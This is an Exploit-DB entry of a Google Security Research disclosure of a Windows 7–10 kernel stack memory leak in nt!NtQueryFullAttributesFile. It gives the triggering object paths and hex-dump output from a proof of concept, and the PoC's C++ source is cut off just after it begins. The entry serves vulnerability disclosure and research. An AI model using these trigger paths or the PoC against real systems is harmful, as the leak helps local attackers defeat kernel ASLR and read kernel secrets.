Exploit-DB #44458
Description: Microsoft Windows - 'nt!NtQueryFullAttributesFile' Kernel Stack Memory Disclosure
Type: dos
Platform: windows
Date: 2018-04-16
Author: Google Security Research

Exploit:
/*
We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
  "\GLOBAL??\D:\"        (CD-ROM partition)
  "\GLOBAL??\CdRom0\"
  "\GLOBAL??\FltMgr"
  "\GLOBAL??\FltMgr\"
  "\GLOBAL??\MAILSLOT\"
  "\GLOBAL??\Volume{GUID}\"
  "\GLOBAL??\PIPE\"
  "\Device\CdRom0\"
  "\Device\NamedPipe\"
  "\Device\Mailslot\"
--- cut ---

The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]:

--- cut ---
  typedef struct _FILE_NETWORK_OPEN_INFORMATION {
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER EndOfFile;
    ULONG         FileAttributes;
  } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
--- cut ---

It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:

--- cut ---
  Name: \GLOBAL??\D:\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\CdRom0\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\MAILSLOT\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\Volume{GUID}\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\PIPE\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\CdRom0\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\NamedPipe\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\Mailslot\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below:

--- cut ---
  Name: \GLOBAL??\FltMgr, Status: 0
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
  Name: \GLOBAL??\FltMgr\, Status: 0
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define DIRECTORY_QUERY    0x0001
#define DIRECTORY_TRAVERSE 0x0002

typedef struct _FILE_NETWORK_OPEN_INFORMATION {
  LARGE_INTEGER C